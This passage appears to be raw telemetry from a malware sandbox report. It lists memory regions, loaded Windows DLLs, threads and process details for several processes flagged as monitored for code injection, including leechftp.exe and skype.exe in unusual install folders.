"CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4775 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4776 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4777 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4778 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4779 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4780 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 4781 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 4782 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4783 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4784 start_va = 0x1d0000 end_va = 0x1d3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 4785 start_va = 0x1e0000 end_va = 0x1e3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 4786 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4787 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4788 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 4789 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 4790 start_va = 0x6b0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 4791 start_va = 0x7b0000 end_va = 0x937fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 4792 start_va = 0x940000 end_va = 0xac0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000940000" filename = "" Region: id = 4793 start_va = 0xad0000 end_va = 0xb8bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ad0000" filename = "" Region: id = 4794 start_va = 0xc80000 end_va = 0xc8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c80000" filename = "" Region: id = 4795 start_va = 0x12c0000 end_va = 0x12d6fff monitored = 0 entry_point = 0x12c14a1 region_type = mapped_file name = "fling.exe" filename = "\\Program Files\\Windows Journal\\fling.exe" (normalized: "c:\\program files\\windows journal\\fling.exe") Region: id = 4796 start_va = 0x12e0000 end_va = 0x26dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000012e0000" filename = "" Region: id = 4797 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4798 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4799 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4800 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 4801 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 4802 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 4803 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4804 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4805 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4806 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4807 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4808 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 4809 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 4810 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4811 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4812 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4813 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4814 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4815 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4816 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4817 start_va = 0x7ef50000 end_va = 0x7f04ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ef50000" filename = "" Region: id = 4818 start_va = 0x7f050000 end_va = 0x7f072fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f050000" filename = "" Region: id = 4819 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4820 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4821 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4822 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 4823 start_va = 0x1f0000 end_va = 0x1f3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 4824 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 4825 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 4826 start_va = 0x4d0000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 4827 start_va = 0x570000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 4828 start_va = 0x510000 end_va = 0x510fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 4829 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 4830 start_va = 0x520000 end_va = 0x520fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 4831 start_va = 0xb90000 end_va = 0xc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 4832 start_va = 0xc90000 end_va = 0xfc6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 213 os_tid = 0xea4 Thread: id = 214 os_tid = 0xe98 Thread: id = 377 os_tid = 0x13d8 Process: id = "36" image_name = "leechftp.exe" filename = "c:\\program files (x86)\\windows portable devices\\leechftp.exe" page_root = "0x424ea000" os_pid = "0xec4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Windows Portable Devices\\leechftp.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Portable Devices\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3027 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3028 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3029 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3030 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3031 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3032 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 3033 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 3034 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3035 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3036 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3037 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 3038 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 3039 start_va = 0x5f0000 end_va = 0x777fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 3040 start_va = 0x780000 end_va = 0x900fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 3041 start_va = 0xf50000 end_va = 0xf66fff monitored = 0 entry_point = 0xf514a1 region_type = mapped_file name = "leechftp.exe" filename = "\\Program Files (x86)\\Windows Portable Devices\\leechftp.exe" (normalized: "c:\\program files (x86)\\windows portable devices\\leechftp.exe") Region: id = 3042 start_va = 0xfb0000 end_va = 0xfb3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fb0000" filename = "" Region: id = 3043 start_va = 0xfc0000 end_va = 0xfc3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000fc0000" filename = "" Region: id = 3044 start_va = 0x1030000 end_va = 0x103ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001030000" filename = "" Region: id = 3045 start_va = 0x1060000 end_va = 0x115ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001060000" filename = "" Region: id = 3046 start_va = 0x1160000 end_va = 0x255ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001160000" filename = "" Region: id = 3047 start_va = 0x2610000 end_va = 0x261ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002610000" filename = "" Region: id = 3048 start_va = 0x2620000 end_va = 0x26dbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002620000" filename = "" Region: id = 3049 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3050 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3051 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3052 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 3053 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3054 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3055 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3056 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3057 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3058 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3059 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3060 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 3061 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 3062 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3063 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3064 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3065 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3066 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3067 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3068 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3069 start_va = 0x7eb20000 end_va = 0x7ec1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007eb20000" filename = "" Region: id = 3070 start_va = 0x7ec20000 end_va = 0x7ec42fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ec20000" filename = "" Region: id = 3071 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3072 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3073 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3074 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 3075 start_va = 0xfd0000 end_va = 0xfd3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 3076 start_va = 0xfe0000 end_va = 0xfe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000fe0000" filename = "" Region: id = 3077 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 3078 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3079 start_va = 0x4f0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 3080 start_va = 0xff0000 end_va = 0xff0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ff0000" filename = "" Region: id = 3081 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 6000 start_va = 0x1000000 end_va = 0x1000fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001000000" filename = "" Region: id = 6001 start_va = 0x2560000 end_va = 0x25dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 6002 start_va = 0x26e0000 end_va = 0x2a16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 215 os_tid = 0xed4 Thread: id = 216 os_tid = 0xec8 Thread: id = 350 os_tid = 0x1388 Process: id = "37" image_name = "skype.exe" filename = "c:\\program files (x86)\\microsoft office\\skype.exe" page_root = "0x6b358000" os_pid = "0xf14" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Microsoft Office\\skype.exe\" " cur_dir = "C:\\Program Files (x86)\\Microsoft Office\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4178 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4179 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4180 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4181 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4182 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4183 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 4184 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 4185 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4186 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4187 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4188 start_va = 0x4c0000 end_va = 0x4c3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 4189 start_va = 0x4d0000 end_va = 0x4d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 4190 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 4191 start_va = 0x4f0000 end_va = 0x4f3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 4192 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 4193 start_va = 0x710000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 4194 start_va = 0x810000 end_va = 0x997fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 4195 start_va = 0x9a0000 end_va = 0xb20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009a0000" filename = "" Region: id = 4196 start_va = 0xb30000 end_va = 0xbebfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b30000" filename = "" Region: id = 4197 start_va = 0xc40000 end_va = 0xc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 4198 start_va = 0x1270000 end_va = 0x1286fff monitored = 0 entry_point = 0x12714a1 region_type = mapped_file name = "skype.exe" filename = "\\Program Files (x86)\\Microsoft Office\\skype.exe" (normalized: "c:\\program files (x86)\\microsoft office\\skype.exe") Region: id = 4199 start_va = 0x1290000 end_va = 0x268ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001290000" filename = "" Region: id = 4200 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4201 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4202 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = 